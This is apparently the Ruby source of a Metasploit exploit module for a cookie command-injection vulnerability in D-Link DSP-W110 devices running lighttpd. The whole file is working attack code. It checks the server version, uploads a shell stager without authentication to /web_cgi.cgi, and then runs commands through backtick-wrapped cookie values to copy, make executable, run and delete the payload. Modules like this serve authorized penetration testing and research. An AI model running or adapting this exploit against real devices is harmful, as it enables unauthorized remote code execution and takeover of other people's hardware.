### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'classMetasploit3< Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
definitialize(info ={})super(update_info(info,'Name'=>'D-Link Cookie Command Execution','Description'=>%q{
This module exploits an anonymous remote upload and code execution vulnerability on different
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
lighttpd web server when handling specially crafted cookie values. This module has been
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.},'Author'=>['Peter Adkins <peter.adkins[at]kernelpicnic.net>',# vulnerability discovery and initial PoC'Michael Messner <devnull[at]s3cur1ty.de>'# Metasploit module],'License'=> MSF_LICENSE,'Platform'=>'linux','References'=>[['URL','https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110']# blog post including PoC],'DisclosureDate'=>'Jun 12 2015','Payload'=>{'DisableNops'=> true
},'Targets'=>[['MIPS Little Endian',# unknown if there are LE devices out there ... but in case we have a target{'Platform'=>'linux','Arch'=> ARCH_MIPSLE
}],['MIPS Big Endian',{'Platform'=>'linux','Arch'=> ARCH_MIPSBE
}]],'DefaultTarget'=>1))
end
def check
begin
res = send_request_cgi({'uri'=>'/','method'=>'GET'})if res && res.headers["Server"]=~/lighttpd\/1\.4\.34/return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown,"#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Uploading stager ...")@counter=1
execute_cmdstager(:flavor=>:echo,:linemax =>95# limited by our upload, larger payloads crash the web server)
print_status("#{peer} - creating payload and executing it ...")(1.. @counter).each do |act_file|# the http server blocks access to our files ... we copy it to a new one# the length of our command is restricted to 19 characters
cmd ="cp /t*/#{act_file} /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd ="chmod +x /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd ="/tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd ="rm /tmp/#{act_file}"
execute_final_command(cmd)
cmd ="rm /tmp/#{act_file+@counter}"
execute_final_command(cmd)
end
end
defexecute_command(cmd,opts)# upload our stager to a shell script# upload takes quite long because there is no response from the web server
file_upload ="#!/bin/sh\n"
file_upload << cmd <<"\n"
post_data = Rex::MIME::Message.new
post_data.add_part(file_upload, nil,"binary","form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
post_data.bound ="-#{rand_text_alpha(12)}--"file= post_data.to_s
@counter= @counter +1
begin
send_request_cgi({'method'=>'POST','uri'=>"/web_cgi.cgi",'vars_get'=>{'&request'=>'UploadFile','path'=>'/tmp/'},'encode_params'=> false,'ctype'=>"multipart/form-data; boundary=#{post_data.bound}",'data'=>file})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable,"#{peer} - Failed to connect to the web server")
end
end
defexecute_final_command(cmd)# very limited space - larger commands crash the webserver
fail_with(Failure::Unknown,"#{peer} - Generated command for injection is too long")if cmd.length >18
begin
send_request_cgi({'method'=>'GET','uri'=>"/",'cookie'=>"i=`#{cmd}`"},5)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable,"#{peer} - Failed to connect to the web server")
end
end
end